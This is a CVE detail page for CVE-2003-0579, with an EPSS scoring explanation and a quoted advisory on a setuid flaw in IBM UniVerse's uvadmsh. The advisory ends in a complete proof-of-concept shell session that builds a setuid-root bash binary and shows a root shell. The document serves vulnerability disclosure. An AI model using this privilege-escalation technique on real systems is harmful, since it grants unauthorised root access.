CVE-2003-0579 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/8203/info A vulnerability has been reported in the IBM U2 UniVerse uvadmsh program that could permit the uvadm user to execute arbitrary code with elevated privileges. The -uv.install option of the vulnerable program allows a user to specify an arbitrary path to a file. In cases where uvadmsh is installed setuid root, this could be abused to run an executable file of the attacker's choosing. While this vulnerability was reported in UniVerse version 10.0.0.9, previous versions are likely vulnerable as well. [uvadm@vegeta uvadm]$ cat > /tmp/uv.install.c main() { setuid(0); system("cc -o /tmp/owned /tmp/owned.c"); system("chmod 4755 /tmp/owned"); } [uvadm@vegeta uvadm]$ cc -o /tmp/uv.install /tmp/uv.install.c [uvadm@vegeta uvadm]$ cat > /tmp/owned.c main() { setuid(0); system("/bin/bash"); } [uvadm@vegeta uvadm]$ ls -al /tmp/owned ls: /tmp/owned: No such file or directory [uvadm@vegeta uvadm]$ /usr/ibm/uv/bin/uvadmsh -uv.install /tmp [uvadm@vegeta uvadm]$ ls -al /tmp/owned -rwsr-xr-x 1 root uvadm 11640 Jul 2 20:15 /tmp/owned [uvadm@vegeta uvadm]$ /tmp/owned [root@vegeta uvadm]# id uid=0(root) gid=503(uvadm) groups=503(uvadm)
